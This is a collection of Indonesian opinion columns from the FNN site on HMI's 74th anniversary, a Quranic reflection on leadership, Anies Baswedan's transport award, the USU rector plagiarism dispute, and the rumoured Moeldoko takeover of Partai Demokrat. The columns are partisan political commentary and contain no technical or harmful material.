by Raihan Ariatama Jakarta FNN - Pada 5 Februari 2021 ini, Himpunan Mahasiswa Islam (HMI) memperingati usianya yang ke-74. Sebagai sebuah organisasi mahasiswa Islam, mencapai usia 74 tahun bukanlah perkara mudah. Terdapat banyak lika-liku dan sepak terjang yang dilaluinya. Termasuk desakan pembubaran yang dilancarkan oleh Partai Komunis Indonesia (PKI) pada masa Orde Lama. Meskipun yang terjadi malah sebaliknya, malah PKI yang dibubarkan dan dianggap sebagai partai terlarang sampai saat ini. Sementara HMI masih eksis dalam mewarnai perjalanan keberagaman Indonesia sampai hari ini. Namun di usianya yang ke-74 ini, HMI menghadapi berbagai persoalan. Dies Natalis HMI ke-74 ini harus kita jadikan momentum untuk merefleksikan berbagai persoalan itu. Sehingga bisa ditemukan formula yang tepat untuk mengatasinya. Bila tidak, maka HMI hanya ada sebagai pelengkap dalam berbagai persoalan bangsa yang kita hadapi hari ini. Keterbelahan di akar rumput sejak Pilkada DKI 2017, yang beruju di Pilpres 2019 lalu, sampai kekarang masih terasa. Kondisi makin diperparah dengan kelemahan negara mengatasi pendemi Covid-19 yang kini mencapai lebih dari satu juta orang yang posisitif terjangkit Covid-19. Angkanya bukan semakin menurn. Tetapi sebaliknya semakin bertambah. Belum lagi persoalan resesi ekonomi yang yang melanda Indonesia kin. Dan berujung pada tertekannya daya beli masyarakat. Beberapa persoalan HMI hari ini adalah masalah internal. Seperti adanya dualisme kepengurusan HMI. Pendangkalan intelektualitas dan integritas, serta lunturnya semangat berkarya. Persoalan-persoalan internal ini menuntut solusi, yang pada satu sisi tetap berpedoman pada nilai-nilai ke-HMI-an, dan pada sisi lain ditunut untuk harus beradaptasi dengan perkembangan zaman. Kerja-kerja untuk mencari solusi ini merupakan kerja kolektif-kolaboratif, yang melibatkan banyak elemen di HMI. Kerja kolektif-kolaboratif untuk menyelesaikan soal internal harus mengesampingkan ego golongan dan kepentingan kelompok. Apalagi, era Revolusi Industri 4.0 menuntut kita untuk saling berkolaborasi. Segala tantangan dan persoalan akan terasa lebih mudah apabila dihadapi dan diselesaikan dengan pendekatan kolaboratif. Persoalan internal HMI yang lain adalah perlunya melakukan pembaharuan terhadap materi/kurikulum pelatihan formal dan informal HMI, agar dapat menjawab tantangan abad 21. HMI hari ini sedang berada dalam zaman digital. Sayangnya kultur ke-HMI-an kita masih menggunakan corak pemikiran abad 20. Akhirnya yang terjadi adalah disrupsi dalam tubuh HMI. Untuk itu, pengembangan sumber daya kader HMI melalui pelatihan yang ada, maka seharusnya diorientasikan untuk menjawab berbagai tantangan di abad 21 ini. Sebagai contoh, HMI perlu untuk menggalakkan social-entrepreneurship training untuk menghasilkan wirausahawan muda HMI yang tidak hanya berorientasi pada keuntungan, melainkan juga pada kemaslahatan sosial-ekonomi ummat. Pelatihan-pelatihan skill yang lain seperti manajemen big data, berpikir kritis, analitis, inovatif dan berorientasi pada problem solving serta lain juga harus lebih dikedepankan. Tujuannnya untuk menjawab tantangan perubahan paradigma prilaku dan kegiatan ekonomi dan sosial yang sudah berbasis Tekonologi informatika (IT). Semua kehidupan yang serba IT. Dengan internal organisasi yang solid dan reformasi internal yang adaptif terhadap tantangan zaman, maka HMI akan dengan mudah menjalankan dakwah k-Islaman dan ke-Indonesiaan yang menjadi komitmen HMI sejak awal berdiri. Dalam konteks ini, misi dakwah dan sosial dapat dilakukan secara efektif apabila terjadi solidaritas dan reformasi internal. Di tengah menguatnya ekstremisme agama yang kerap kali berujung pada tindakan kekerasan dan teror (acts of violence and terror). Begitu juga dengan keinginan beberapa kalangan untuk melakukan formalisasi syariat Islam, maka dakwah k-Islaman dan ke-Indonesiaan HMI sangatlah dibutuhkan. Menyesuaikan diri dengan perkembangan yang tidak bisa dihindari. Kenyatan ini karena komitmen ke-Islaman dan ke-Indonesiaan HMI tidak terjebak dalam formalitas dan simbol agama semata. Melainkan HMI selalu berpijak pada prinsip-prinsip dan nilai-nilai substansial Islam yang universal, seperti Islam yang inklusif, yang toleran, yang dialogis, akomodatif dan yang berperikemanusiaan. Islam yang ramatan lil alamain. Untuk itu, memperkuat dakwah ke-Islaman dan ke-Indonesiaan ala HMI merupakan sebuah keharusan yang tidak bisa dihindari. Sebagai upaya narasi tanding (counter-narration) terhadap diskursus yang ektremisme agama dan formalisasi syariat Islam. HMI dapat memanfaatkan perkembangan teknologi informasi untuk melakukan narasi tanding tersebut. Dalam rangka melakukan misi yang mulia ini, HMI ditopang oleh sumber daya kader yang melimpah. Kader HMI yang tersebar di hampir seluruh pelosok Indonesia. Bahkan di luar negeri sekalipun, masih ada kader-kader HMI yang tetap eksis, berada di depan. Dengan modal jaringan yang luas dan solid itu, akan mempermudah HMI dalam menebarkan benih-benih ke-Islaman dan ke-Indonesiaan. Selain itu, ke-Islaman dan ke-Indonesiaan HMI tidaklah mempertentangkan agama dan negara. Sebab keduanya harus saling melengkapi satu sama lain. Agama sangat dibutuhkan sebagai fondasi nilai dalam bernegara. Sedangkan negara dibutuhkan HMI sebagai wahana untuk kemaslahatan publik dan mensejahteraan rakyat, sesuai dengan tujuan bernegara pada alinea keempat Pembukaan UUD 1945. Oleh karena itu, dakwah k-Islaman dan ke-Indonesiaan HMI harus menjadi penetralisir terhadap gagasan atau upaya-upaya yang hendak mempertentangkan antara agama dan negara. Termasuk diskursus yang menganggap aspirasi politik Islam sebagai politik untuk membentuk negara Islam. Padahal, aspirasi politik Islam adalah politik nilai sesuai dengan tujuan bernega. Aspirasi politik Islan bukan politik simbolik. Politik Islam adalah mencapai kesejahteraan rakyat untuk semua. Keadilan sosial yang hadir untuk semua warga negara. Toleransi dan saling menghargai sebagai sesama anak bangsa. Berdiri sma tinggi, dan duduk sama rendah. Perdamaian dan keharmonisan yang tidak bertentangan dengan demokrasi dan negara. Akhir kata, Dies Natalis HMI ke-74 menjadi momentum penting bagi kita untuk melakukan reformasi organisasi demi memperkuat komitmen dan dakwah k-Islaman dan ke-Indonesiaan HMI. Dirgahayu HMI. Yakin usaha Isnya Allah sampai. Penulis adalah Ketua Bidang Riset dan Teknologi PB HMI Periode 2018-2020.

Ketika Pengikut Melaknat Pemimpinnya

by M. Rizal Fadillah Bandung FNN – Qura’an Surat Al Ahzab 66-68 mengingatkan akan penyesalan di hari akhir nanti untuk pengikut atau pendukung kepada pemimpin yang dipilih dan diabdikan. Pemimpin yang dielu-elukan, bahkan sampai dikultuskan. Sementara pemimpin hanya mengarahkan pada urusan duniawi semata. Akhirnya mereka bersama-sama masuk ke dalam neraka jahannam. Akibat kepatuhan yang membabi buta itu, wajah mereka dibolak-balikkan di neraka, lalu berkata "Alangkah baiknya jika kami taat kepada Allah dan taat kepada Rasul (QS 33:66). Dan juga mereka berkata “Ya Rabb kami, sesungguhnya kami telah mentaati pemimpin-pemimpin dan pembesar-pembesar kami, lalu mereka menyesatkan kami dari jalan yang benar". (QS 33:67). Tunduk dan patuh pada jabatan, pangkat, kekayaan serta pengaruh penguasa tanpa landasan nilai moral dan spiritual, yang menyebabkan terjerumus dan mengikuti jalan sesat. Hal ini adalah akibat dari pemimpin dan pembesar yang mengajak, memprogram, serta mempropagandakan kesejahteraan material dan kebahagiaan yang semata bersifat profan. Mengabaikan kebenaran moral adakah konsekuensi dari kepemimpinan yang hanya mengumbar hawa nafsu. Kepemimpinan yang berorientasi pada sukses infrastruktur duniawi. Lalu zalim dan menindas gerakan spiritual keagamaan. Menindas gerakan yang selalu mengingatkan penguasa agar kekuasaan itu dijalankan dengan amanah dan jujur. Sayangnya penguasaha kalau diingatkan rakyatntya, maka penguasa dengan mudah menuduh rakyat dengan sebutan ekstrim dan radikal. Pada hari kiamat, saat siksa pedih di Neraka, para pengikut bukan saja menyesali atas sikap dirinya, tetapi juga mengutuk pemimpin yang dipuja-puja dan diikutinya dahulu. Memohon agar sipemimpin itu disiksa dengan berat dan berlipat (QS 33:68). Betapa dahsyat penyesalan dan sikap yang menyalahkan pengikut (follower) pada pemimpin (leader) di tengah penderitaan abadi keduanya di Neraka. Akibat selama di dunia terbiasa dan hobby membuat orang lain menderita. Kroni dan oligarkhi keserakahan dari kekuasaan yang dinikmati dan dibagi-bagi. Kenikmatan yang berefek pada kesengsaraan bersama . Bersama-sama memperolok-olok dan meminggirkan kebenaran agama dan para pengikutnya. Menjauh dari jalan Allah dan membenci risalah Nubuwah. Syari'ah lalu dimusuhi. Pengikutnya ditangkap-tangkapi dan dijebloskan ke dalam penjara. Bahkan ada yang dibunuh tanpa diadili. Jihad ditakut-takuti sebagai perbuatan ekstrim dan intoleransi, fanatisme dihancurkan dan nilai moral diputar-balikkan. Melumpuhkan orang-orang beriman dengan bahasa toleransi dan modernisasi. Kemunafikan yang selalu dibudidayakan, dan kekafiran yang dilestarikan. Kebenaran agama menjadi musuh utama dari para penyelenggara negara. Bahasa-dan instilah-istilah agama, sebisa mungkin menjadi barang larang di masrakatat, kecuali yang berkiatan dengan pemasukan untuk negara seperti infaq, zakat dan sadaqah. Kehidupan dunia menjadi sangat jumawa, karena segala sarana tersedia. Kaya, kuasa, dan punya senjata dan hukum untuk menekan mereka yang melawan kekuasaan. Akibatnya, rakyat merasa tidak lagi mempunyai kekuatan apapun yang dapat memperdaya mereka. Maka, dibangun budaya berlomba mendekat Istana yang mampu diubah menjadi berhala. Tetapi semua itu ada batas masanya. Di depan ada ancaman dan siksa. Lalu para pengikut menjadi menyesal dan menyeru dengan ujaran benci dan murka. Dalam putus asa dan tak berdaya, itu para pengikut hanya hanya mampu berkata ,"Robbana aatihim dhi'faini minal adzabi wal 'anhum la'nan kabiiro". Artinya, “wahai Tuhan kami, timpakanlah mereka dengan adzab dua kali lipat, dan laknatlah mereka dengan laknat yang besar”! Penulis adalah Pemerhati Politik dan Keagamaan.

Anies Baswedan Dinobatkan Sebagai Pahlawan 2021

GUBERNUR DKI Jakarta Anies Baswedan kembali mendapat penghargaan dunia. Penghargaan kali ini datangnya dari Transformative Urban Mobility Initiative (TUMI). Sebuah lembaga dunia dengan agenda mengubah mobilitas untuk kepentingan manusia dan lingkungan, dengan tujuan untuk masa depan. Anies dinobatkan oleh TUMI bersama sejumlah tokoh dunia lainnya menjadi, 21 Heroes 2021, untuk bidang transportasi. Sebagian besar yang mendapat penghargaan adalah para pejabat dari berbagai belahan dunia. Banyak di antaranya adalah wali kota, gubernur, dan menteri bidang transportasi. Yang menarik, di antara 21 orang Hero itu, terdapat nama Ceo Tesla Elon Musk. Musk dikenal sebagai penggiat yang gigih dalam pengembangan mobil listrik ramah lingkungan. Anies mendapat penghargaan karena dinilai berhasil memperbaiki transportasi untuk mobilitas warga. Selain mewujudkan sistem transformatif dan terintegrasi dari berbagai moda transportasi, Anies juga mewujudkan jalur sepeda sepanjang 63 Km. Penghargaan bidang transformasi ini bukan pertamakalinya bagi Anies. Pada November tahun 2020, kota Jakarta menjadi juara dunia dalam transportasi berkesinambungan. Jakarta mendapat juara Suistainable Transport Award (STA) 2021. Penghargaan itu diberikan sebuah lembaga yang berpusat di New York, AS. Berbagai penghargaan ini selain membanggakan, sekaligus menunjukkan kualitas kepemimpinan Anies diakui dunia. Dia bekerja nyata, dalam diam. Tidak perlu melakukan berbagai aksi pencitraan artifisial, agar disorot media massa. Sebuah aksi kosong, tak bermakna. Anies tidak belusukan ke gorong-gorong, apalagi bertemu para tuna wisma. Dia terbang melambungkan nama Indonesia di kancah dunia. Tampil berbicara dalam forum-forum dunia, menjadi representasi Indonesia. Sementara kota Jakarta dibawanya menjadi kota yang beradab, layak dihuni, sejajar dengan kota-kota maju dan modern di berbagai belahan dunia. Dia tampak berkilau, di bawah sorotan lampu kamera media-media internasional. Sejak di bawah kepemimpinan Jokowi, Indonesia seperti negara paria di mata dunia. Tidak diperhitungkan. Presiden Jokowi selama lima tahun periode pertama, selalu absen menghadiri Sidang Umum Majelis PBB. Jokowi baru tampil pada Sidang Umum PBB tahun 2020. Itu pun karena dia tampil secara virtual. Pidato dari Jakarta. Tak harus duduk kikuk ketika bertemu pemimpin dunia. Bangsa Indonesia yang besar, merindukan kembali tampilnya pemimpin yang bisa dibanggakan di dunia internasional. Pemimpin yang bisa duduk dan berdiri sejajar, bercengkerama, dan berdialog dengan para kepala-kepala negara lain dunia. Pemimpin yang fasih berbicara menyampaikan gagasan besar Indonesia untuk dunia. Pemimpin yang cakap berdiplomasi memperjuangkan kepentingan Indonesia. Bukan pemimpin yang gagu, gugup, dan gagap ketika tampil di forum-forum dunia. Di masa lalu Indonesia selalu tampil dalam forum-forum dunia. Sebagaimana bunyi amanat konstitusi : "Ikut mewujudkan ketertiban, dan perdamaian dunia." Di masa Orde Lama, Presiden Soekarno adalah salah satu tokoh penggagas Gerakan Non Blok. Soekarno adalah Singa Podium di pentas dunia. Di masa Orde Baru, di bawah kepemimpinan Presiden Soeharto, Indonesia adalah Big Brother di Asia Tenggara. Indonesia juga tampil menjadi pemimpin negara-negara Organisasi Konferensi Islam (OKI). Kepemimpinan Indonesia itu berlanjut di bawah BJ Habibie, Abdurahman Wahid, sampai Susilo Bambang Yudhoyono. Tampilnya Anies dalam pentas dunia, walaupun kapasitasnya sebagai seorang gubernur, seperti sebuah air sejuk yang mengobati dahaga bangsa Indonesia. Selamat kepada Gubernur DKI Anies Baswedan. Bukan hanya warga Jakarta, bangsa Indonesia juga patut bangga dan berterima kasih. Jerih payahnya mewujudkan kota Jakarta sebagai kota yang diakui dunia, membuat kami bangsa Indonesia, kembali berani menegakkan kepala, setelah sekian lama hanya mampu tunduk, menanggung malu. **

USU Pasca-Pelantikan Rektor Muryanto Amin (Bagian-2)

by Prof. Dr. OK Saidin SH M.Hum Medan, FNN - Bila ditelusuri kata-perkata Permendiknas No. 17/2010 tentang pencehana plagiat di perguruan tinggi, tidak ditemukan istilah self-plagiarism. Pihak Kementerian dalam hal ini menempatkan bahwa peraturan tentang pencegahan plagiarisme di perguruan tinggi yang diatur oleh Permendiknas 17/2010 itu adalah dalam konteks etika penulisan, bukan dalam konteks etika publikasi. Peraturan tentang etika publikasi digariskan di dalam Peraturan Kepala (Perkep) LIPI No. 5 Tahun 2014 Tentang Kode Etika Publikasi Ilmiah. Jadi, kalau boleh meminjam istilah Prof Tan Kamello, Permendiknas 17/2010 adalah norma (hukum) posistif untuk etika penulisan karya ilmiah. Sedangkan Perkep LIPI 5/2014 Tentang Kode Etika Publikasi Ilmiah adalah norma (hukum) posistif untuk etika publikasi ilmiah. Inilah norma yang dijadikan landasan Komisi Etik (KE) bentukan Rektor USU dalam proses pengambilan keputusan dalam kasus dugaan plagiat yang dipersangkakan kepada Dr Muryanto Amin SSos MSi di samping tafsir tentang Pasal 2 ayat (1) Permendiknas 17/2010 tentang pencegahan plagiat di perguruan tinggi. Hasil Keputusan KE inilah yang kemudian digunakan Rektor USU sebagai dasar penjatuhan sanksi, ditambah unsur yang memberatkan. Sebab, yang bersangkutan di samping menjabat sebagai Dekan pada Fisipol USU, yang bersangkutan juga adalah Editor in Chief pada jurnal Politeia, di Fisip USU, Publisher Talenta USU, yang seharusnya sudah faham dan mengetahui tentang seluk beluk penerbitan naskah dalam jurnal atau publikasi ilmiah. Sanksi yang dijatuhkan oleh Rektor USU (periode 2016-2021) adalah sanksi pelanggaran etik, bukan sanksi pelanggaran hukum. Oleh karena itu, pandangan Prof Bismar (guru besar hukum USU) dan juga pandangan Prof Tan Kamello yang mengatakan hukum positif tentang hal itu tidak ada, sangat berbeda dengan pandangan Komisi Etik. Sekali lagi perbedaan pendapat itu adalah sebuah kewajaran dan itu adalah rahmat. Perdebatan dan kritik pun harus dibiarkan tumbuh sebagai sebuah dialektika. Tanpa kritik dan perdebatan, ilmu pengetahuan tidak akan tumbuh dan berkembang. Saya ingin mengakhiri perdebatan saya dengan Prof Tan Kamello. Bagi saya, adanya ketentuan etik publikasi ilmiah yang termuat dalam Perkep LIPI No. 5/2014 tentang Kode Etika Publikasi Ilmiah, maka tidak ada lagi alasan bahwa hukum positif tidak ada mengatur tentang hal itu. (https://m.mediaIndonesiacom/nusantara/378221/prof-tan-kamello-hukum-positif-tidak-mengenal-selfplagiarism). Yang disebut terakhir ini adalah peraturan yang harus dijadikan rujukan baik oleh Editor in Chief, Editor (pengelola jurnal), maupun penulis dalam mempublikasikan karya ilmiahnya. Perkep LIPI ini, secara etik, mengikat setiap orang yang akan menerbitkan naskahnya. Sebagaimana diketahui, Lembaga Ilmu Pengetahuan Indonesia (LIPI) adalah lembaga yang mengelola International Serial Data System (ISDS). Jadi, LIPI adalah lembaga yang diberikan kewenangan oleh pemerintah untuk menerbitkan ISSN (International Standard Serial Number), yakni kode yang dipakai secara internasional untuk terbitan berkala. Oleh karena itu, sulit untuk mengatakan bahwa Dr Muryanto Amin SSos MSi tidak melanggar etika tentang publikasi ilmiah. Berdasarkan uraian di atas sulit juga untuk mengatakan Keputusan Rektor Nomor: 82/UN5.1R/SK/KPM/2021, tanggal 14 Januari 2021 tentang penjatuhan sanksi pelanggaran etik yang dilakukan oleh Dr Muryanto adalah keputusan yang keliru. Inti keputusan rektor itu adalah pelanggaran etika, kejujuran ilmiah. Perbuatan plagiat adalah perbuatan tidak jujur. Tapi, tidak semua perbuatan tidak jujur itu adalah plagiat. Di antaranya adalaf self-plagiarism, double publication, salami publication atau publikasi ganda. Inilah yang perlu kita cerna dengan hati yang lapang dan pikiran yang jernih. Lihatlah redaksi konsiderans Permendiknas 17/2010 tentang pencegahan plagiat di perguruan tinggi. Bagian "Menimbang" huruf a, b dan c sebagai berikut: (a)bahwa setiap perguruan tinggi mengemban misi untuk mencari, menemukan, mempertahankan, dan menjunjung tinggi kebenaran; (b)bahwa untuk memenuhi misi tersebut, mahasiswa/dosen/peneliti/tenaga kependidikan yang berkarya di bidang akademik di perguruan tinggi memiliki otonomi keilmuan dan kebebasan akademik; (c)bahwa dalam melaksanakan otonomi keilmuan dan kebebasan akademik, mahasiswa/dosen/peneliti/tenaga kependidikan wajib menjunjung tinggi kejujuran dan etika akademik, terutama larangan melakukan plagiat dalam menghasilkan karya ilmiah, sehingga kreativitas dalam bidang akademik dapat tumbuh dan berkembang. Ada sejumlah nilai sebagai landasan filosofis dalam konsiderans tersebut. Ada asas-asas hukum atau prinsip dasar yang tersembunyi di balik konsiderans tersebut yakni asas menjunjung tinggi kebenaran, otonomi keilmuan, kebebasan akademik, menjunjung tinggi kejujuran, dan etika akademik. Prinsip-prinsip itu merupakan landasan filosofis. Tujuannya adalah agar misi untuk mencari, menemukan, mempertahankan kebenaran akademik dapat tumbuh dan berkembang. Ketika peraturan tidak ada menyebut secara jelas namun peristiwanya ada terjadi, maka asas-asas hukum itu dapat digunakan sebagai dasar untuk membuat hukum. Para ahli hukum dapat melakukan "penemuan hukum" atau rechtsvinding (Sudikno Mertokusumo, Mengenal Hukum, Liberty, Yogyakarta, 2002) Dalam kasus yang sudah diputus oleh Rektor USU, peristiwa itu ada dan sudah pernah terjadi. Tetapi, peraturan yang ada belum lengkap, belum spesifik menyebutkan tentang hal itu. Maka ketika kasus itu bergulir dan dipercayakan kepada Komisi Etik (KE) untuk memutuskannya, maka KE harus mencari dan menemukan hukumnya. Apalagi dalam Pasal 2 ayat (1) Permendiknas 17/2010 dikatakan bahwa perbuatan plagiat itu tidak dibatasi secara limitative. Artinya, ada perbuatan-perbuatan lain yang masuk dalam kategori plagiat. Agar upaya pencarian untuk menemukan hukum itu sempurna, KE juga menelusuri semua aturan terkait dengan publikasi ilmiah. KE kemudian menemukan Perkep LIPI 5/2014. Di sini, LIPI mengatur etika publikasi yang pada intinya para penulis, pengelola jurnal diharuskan untuk menjunjung tiga nilai etik dalam publikasi. Yaitu: 1)kenetralan, bebas dari pertentangan kepentingan dalam publikasi; 2)keadilan, yakni memberikan hak kepengarangan kepada yang yang berhak sebagai pengarang/penulis; dan 3)kejujuran, yakni bebas dari duplikasi, fabrikasi, falsifikasi, dan plagiarisme (DF2P) dalam publikasi. Ketentuan etik lebih lanjut yang dimuat di Bab V Kode Etika Pengarang Jurnal Ilmiah butir 5.2.1, pada pokoknya menyatakan bahwa pengarang harus membuat pernyataan bahwa karya tulis yang diserahkan untuk diterbitkan adalah asli, belum pernah dipublikasikan di mana pun dalam bahasa apa pun, dan tidak sedang dalam proses pengajuan ke penerbit.[] Penulis adalah Guru Besar Hukum USU, Ketua Asosiasi Pengajar Hukum Hak Kekayaan Intelektual Indonesia (Periode Tahun 2017-2020 dan 2020-2023) dan Ketua Komisi Kelembagaan Akademik, Perencanaan dan Anggaran Senat Akademik Universitas Sumatera Utara (Periode Tahun 2020-2025)

Geger "Kudeta" Demokrat: Ada Luhut di Belakang Moeldoko?

By Mochamad Toha Surabaya, FNN - Pertempuran jelang Pilpres 2024 mulai menghangat. Sejumlah tokoh nasional ancang-ancang untuk menjadi kontestan dalam pergelaran 5 tahunan tersebut. Setelah ramai “kampanye” Erick Tohir, Menteri BUMN, melalui sejumlah media luar ruang terpasang di sejumlah daerah di Indonesia, terkini kabarnya Moeldoko juga menyusul bakal ikut kontestasi Pilpres 2024. Yang dilakukannya tidak main-main! Moeldoko dituding telah siapkan “kudeta” menjungkalkan Agus Harymurti Yudhoyono (AHY) dari kursi Ketum Partai Demokrat. Dengan kata lain, Demokrat dilirik Moeldoko menjadi “kendaraannya” untuk maju Pilpres 2024. Meski hanya mengantungi suara lebih-kurang 8 persen pada Pemilu 2019 lalu, Demokrat yang kini menjadi “oposisi”, dipandang berpotensi mengirim capres pada Pilpres 2024. Selain dua nama tokoh nasional di atas, nama Anies Baswedan, Sri Mulyani, Ganjar Pranowo, Ridwan Kamil, Khofifah Indar Parawansa, AHY, dan bahkan nama Mensos Tri Rismaharini, muncul juga di tengah masyarakat sebagai kandidat capres dan cawapres terkini. Di belakang mereka, masih ada nama Capres dan Cawapres 2019 Prabowo Subianto dan Sandiaga Salahuddin Uno. Harus diakui, meski gelaran Pilpres 2024 masih berselang lebih-kurang 3 tahun lagi, situasi politik mulai memanas. “Konflik” Demokrat dengan Moeldoko diyakini akan semakin panas, dan mungkin saja akan berimbas ke parpol-parpol lain. Jika para “gajah” sudah mulai bertarung seperti sekarang, siapa yang akan menjadi “korban”? Dan, apakah pertarungan para “gajah” tersebut akan menguntungkan atau demi kepentingan rakyat? Hanya sang waktu yang bisa memberikan jawaban! Terungkapnya “rencana kudeta” Moeldoko, Kepala Staf Presiden (KSP), itu disampaikan AHY sendiri dalam jumpa pers sebelumnya. AHY memang tak menyebutkan nama, karena mengedepankan asas praduga tak bersalah, dan menunggu proses konfirmasi. Pasca konferensi pers AHY, berkembang spekulasi, siapa sosok pejabat pemerintahan yang dimaksud AHY ini. Selasa malam (2/2/2021), KSP Moeldoko sendiri memberikan penjelasan langsung yang bisa disaksikan oleh rakyat. “Respon beliau sudah terprediksi. Nervous, gugup, dilihat dari gerakan tangan dan beberapa kali KSP Moeldoko menyebut gua gue,” ungkap Kepala Badan Komunikasi Strategis DPP Partai Demokrat Herzaky Mahendra Putra. Moeldoko menganggap dirinya dikaitkan dalam gerakan ini, karena berdasarkan foto-foto belaka. Padahal, faktanya tidak demikian. “Untuk itu, atas nama Partai Demokrat, saya perlu memberikan tanggapan atas pernyataan KSP Moeldoko,” lanjutnya. Pertama, pertemuan antara KSP Moeldoko dan beberapa kader Demokrat, tidak dilakukan di rumah, melainkan di luar rumah. Kedua, kedatangan kader Demokrat dari daerah ke Jakarta, itu dilakukan secara terstruktur dan sistematis oleh para pelaku gerakan. Menurut Herzaky Mahendra, ada yang mengundang, membiayai tiket pesawat, menjemput di bandara, membiayai penginapan, termasuk konsumsi. Ketiga, “Jika Moeldoko mengatakan konteks pembicaraannya nggak dimengerti, sungguh sulit dipahami.” Berdasarkan keterangan yang dimiliki Demokrat, pembahasan utama yang disampaikan oleh pelaku gerakan dalam pertemuan tersebut adalah rencana mengusung KSP Moeldoko sebagai calon Presiden 2024. “Untuk memuluskan rencana tersebut, para pelaku gerakan mempersiapkan pengambilalihan kepemimpinan Partai Demokrat, melalui proses Kongres Luar Biasa (KLB),” lanjut Herzaky Mahendra. Keempat, proses pengiriman surat Ketum Demokrat AHY kepada Presiden Joko Widodo merupakan buah dari komitmen dan kesepakatan antara kedua belah pihak, untuk saling menjaga hubungan baik dan komunikasi yang lancar. Menurut Herzaky Mahendra, komitmen tersebut dilakukan juga untuk menghentikan tindakan orang-orang yang gemar mencatut dan mengatasnamakan Presiden, maupun nama Ketum Partai Demokrat, dengan tujuan yang tidak baik dan mengadu domba. “Jadi, jangan dibelokkan, kok malah kita dianggap berhadapan dengan Istana. Saya juga ingin memberikan tanggapan terkait Konferensi Pers para pelaku gerakan yang dilaksanakan siang hari ini,” ungkap Herzaky Mahendra. Mereka, katanya, berencana menjemput KSP Moeldoko sebagaimana menjemput SBY pada 2004 sebagai calon presiden; lalu ada pelaku gerakan bernama Yus Sudarso menyatakan, “Apa salahnya kami melakukan ini”. “Salahnya adalah upaya pengambilalihan kepemimpinan Partai Demokrat yang sah melalui Kongres Luar Biasa,” tegas Herzaky Mahendra. Dulu, hal itu tidak ada. “Bapak SBY duduk sebagai Dewan Pembina,” lanjutnya. Jadi, “Kalau KSP Moeldoko mau menjadi Capres melalui Partai Demokrat, ya bikin KTA dulu sebagai kader Partai Demokrat. Jangan tiba-tiba ingin menjadi Ketua Umum, apalagi melalui KLB. Itu saja sudah salah besar. Itu jelas inkonstitusional.” “Pak Moeldoko itu siapa? Pak Moeldoko itu KSP, stafnya Presiden. Tugasnya sekarang membantu Presiden menyelesaikan pandemi dan krisis ekonomi. Jangan malah disibukkan untuk memikirkan pencapresan,” ujar Herzaky Mahendra. “Kasihan rakyat, lagi pandemi kok malah memikirkan pencapresan. Kasihan Presiden yang membutuhkan bantuan semua pihak untuk menangani krisis pandemi dan ekonomi,” ujarnya. *Sebut Luhut* Dalam tulisan sebelumnya, saya menulis, sebagai mantan pamen berpangkat Mayor yang juga anak presiden, AHY pasti sudah tahu siapa “dalang kudeta” yang dimaksud itu. Tak mungkin seorang Moeldoko bisa “bermain” sendiri tanpa dukungan “Jenderal Pebisnis”. Ini adalah kontestasi untuk meraup semua parpol di bawah kendali Jenderal Pebisnis tadi. Dia seser dulu parpol-parpol yang kecil-kecil dulu sambil ambil-alih PDIP dan Golkar. Demokrat dia incar karena dipikir Demokrat sudah lemah betul di bawah kendali AHY. Cuma Gerindra saja nanti yang “setengah dilepas” sang Jenderal Pebisnis tadi. Ketika semua parpol di Indonesia sudah di bawah kendalinya, dia bebas menentukan siapa “RI-1 dan RI-2” pilihannya. Jadi, kalau dikecilkan skupnya hanya soal menjegal Anies Baswedan, bukan tipenya sang Jenderal Pebisnis itu. Yang “main” sekarang itu ya dia ini. Kalau cuma playing victim dan skenario SBY ya kurang cantik mainnya. Ini bukan permainan SBY. Kalau ini permainan SBY, rasanya terlalu kasar dan arogan. Saya yakin, SBY mainnya akan lebih cantik! Siapa Jenderal Pebisnis yang saya sebut dalam tulisan sebelumnya itu? Sekarang mulai terbuka. Sebelumnya, Moeldoko menyebut nama Menko Kemaritiman dan Investasi (Menko Marves) Luhut Binsar Pandjaitan. Moeldoko mengatakan bahwa Luhut juga pernah bertemu dengan sejumlah kader Demokrat, sama seperti dirinya. Menanggapi hal itu, filsuf politik Rocky Gerung memaparkan, terdapat dua kemungkinan yang terjadi. “Ya dua soal sebetulnya. Ingin nyari patron supaya bebannya enggak terlalu berat, maka sebagian dilimpahkan kepada Pak Luhut,” katanya di kanal YouTube Roger Official seperti dikutip Pikiranrakyat-Depok.com pada Kamis, 4 Februari 2021. Akan tetapi, kata Roger, Luhut tidak melibatkan diri di dalam proyek kudeta Partai Demokrat tersebut. “Mungkin Pak Luhut punya pengetahuan tentang apa yang terjadi di dalam internal Partai Demokrat,” ujar dia “Tapi ini, AHY langsung bikin konferensi pers. Artinya, ada skala persoalan yang luar biasa besar itu,” lanjut Roger yang akademisi itu. Ia memperkirakan bahwa saat ini sangat mungkin 10 persen kader Partai Demokrat di tingkat DPC sudah dapat sejumlah uang. “Jadi mungkin problem-problem itu yang dikhawatirkan oleh Partai Demokrat, karena itu dibeberkan,” ujarnya. Menurutnya, Moeldoko berupaya untuk mencari pelindung. Tapi, Roger menyatakan bahwa hal kurang tepat. “Itu peristiwa yang lain dengan maksud yang lain. Karena itu jangan terlalu banyak cari alibi, Pak Moeldoko. Nanti kejebak,” ucapnya. Menurut Roger, Luhut itu dijadikan jembatan untuk memberi tahu pada Presiden Joko Widodo bahwa tidak sedang terjadi apa-apa. Tidak hanya Moeldoko. Konon, Luhut juga pernah didatangi mantan Bendahara DPP Partai Demokrat Muhammad Nazaruddin, yang sama-sama ingin Kudeta Demokrat. Presiden Jokowi sendiri, kabarnya, ngamuk setelah baca surat AHY yang dikirimkan kepadanya. Ia memanggil “Kakak Pembina”. Marah habis-habisan. “Segera beresin semua kalau gak mau dicopot!” begitu kata Jokowi saking marahnya, mengutip akun Twitter@DalamIstana. “Kakak Pembina” yang dimaksud selama ini tidak lain adalah KSP Moeldoko. Apakah ini sinyal bahwa “Istana Pecah”? *** Penulis wartawan senior fnn.co.id.

Moeldoko dan Etika Berpolitik

